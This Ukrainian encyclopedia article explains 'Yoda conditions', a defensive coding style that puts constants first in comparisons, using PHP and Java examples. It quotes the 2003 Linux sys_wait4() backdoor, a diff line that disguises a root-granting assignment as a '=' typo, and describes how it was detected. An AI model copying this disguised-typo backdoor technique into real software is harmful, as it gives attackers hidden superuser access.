Умови Йоди
Умови Йоди (від англ. Yoda conditions), або нотація Йоди (англ. Yoda notation) у жаргоні програмістів — «безпечний» стиль запису виразів порівняння при програмуванні мовами з Сі-синтаксисом, що полягає у написанні спочатку значення змінної, а потім - самої змінної. Такий запис дозволяє виявити на етапі компіляції і виправити помилку, властиву подібним мовам — операцію присвоєння =, помилково записану замість операції порівняння «==».
Названо на честь магістра Йоди зі всесвіту «Зоряних воєн», який має манеру змінювати порядок слів фрази.
Суть нотації
У класичній нотації перевірка змінної на рівність певній константі записується так (приклад мовою PHP):
if ( $variable == 52 ) {
/* дії, що виконуються, якщо змінна дорівнює 52 */
}
тобто змінна, операція порівняння і константа. Дана конструкція вразлива щодо відомої помилки:
if ( $variable = 52 ) { // ПОМИЛКА: ПРИСВОЄННЯ змінній значення 52
/* дії, що виконуються ЗАВЖДИ */
}
Такий код є синтаксично правильним, і при неналежному тестуванні може залишитися у програмі на тривалий час і стати причиною значної вразливості.
При застосуванні нотації Йоди змінну і константу міняють місцями, так що константа виявляється ліворуч:
if ( 52 == $variable ) {
/* дії, що виконуються, якщо змінна дорівнює 52 */
}
При такій нотації у випадку описки в операторі порівняння виходить синтаксично некоректне присвоєння константі і програма не буде працювати, поки помилка не буде знайдена і виправлена.
if ( 52 = $variable ) { // ПОМИЛКА при компіляції
/* ... */
}
Альтернативне використання нотації
Нотація Йоди також застосовна при розв'язанні проблеми небезпечної «нульової поведінки» (англ. unsafe null behavior) наприклад (приклад мовою Java):
String myString = null;
if ( myString.equals("foobar") ) { // Викликає NullPointerException
/* ... */
}
При застосуванні нотації Йоди:
String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Хибність
/* не виконується */
}
Переваги та недоліки
Використання нотації Йоди не дозволяє програмам мовами C++, Java, PHP тощо працювати за наявності помилок у виразах порівняння (поведінку програми ця модифікація не змінює). Деякі програмісти вважають застосування даної нотації «ознакою гарного тону»[1].
До недоліків нотації відносять складність написання, модифікації й читання програми, а також вузьку галузь застосування — тільки перевірка рівності, тільки порівняння з константою. Сучасні інструментальні засоби розробки (компілятори, редактори) дозволяють відслідковувати і видавати попередження за наявності присвоєння в керувальній конструкції, вважаючи його потенційно помилковим.
Помилка sys_wait4()
sys_wait4()Цікавим є невдалий бекдор у функції sys_wait4() в ядрі Linux (2003).[2][3] Розробка велась на пропрієтарній системі керування версіями BitKeeper, а на ніч код викладався на загальний огляд на більш поширеній CVS. Цю CVS і зламали, додавши у функцію sys_wait4() два рядки, що перевіряють вхідні дані на некоректну комбінацію прапорців:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;
Бекдор було замасковано під звичайну описку — замість == стояло =. Таким чином, передача до функції двох прапорців, що суперечать один одному, виконувала код current->uid = 0, тобто давала програмі права суперкористувача.
Зміну виявлено під час автоматичного перенесення змін з BitKeeper до CVS — не збігся електронний підпис (за іншими даними, скрипт-експортер поскаржився на дивну дату файлу). Помилка в принципі не могла пройти у стабільне ядро (зв'язок між BitKeeper і CVS односторонній). Автора «дірки» знайти не вдалось.
Примітки
- Искусство проведения интервью — gnuman.ru. Архів оригіналу за 28 січня 2014. Процитовано 28 червня 2014.
- Про інцидент з wait4() на anticopyright.ru
- Новина про спробу злому Linux на Slashdot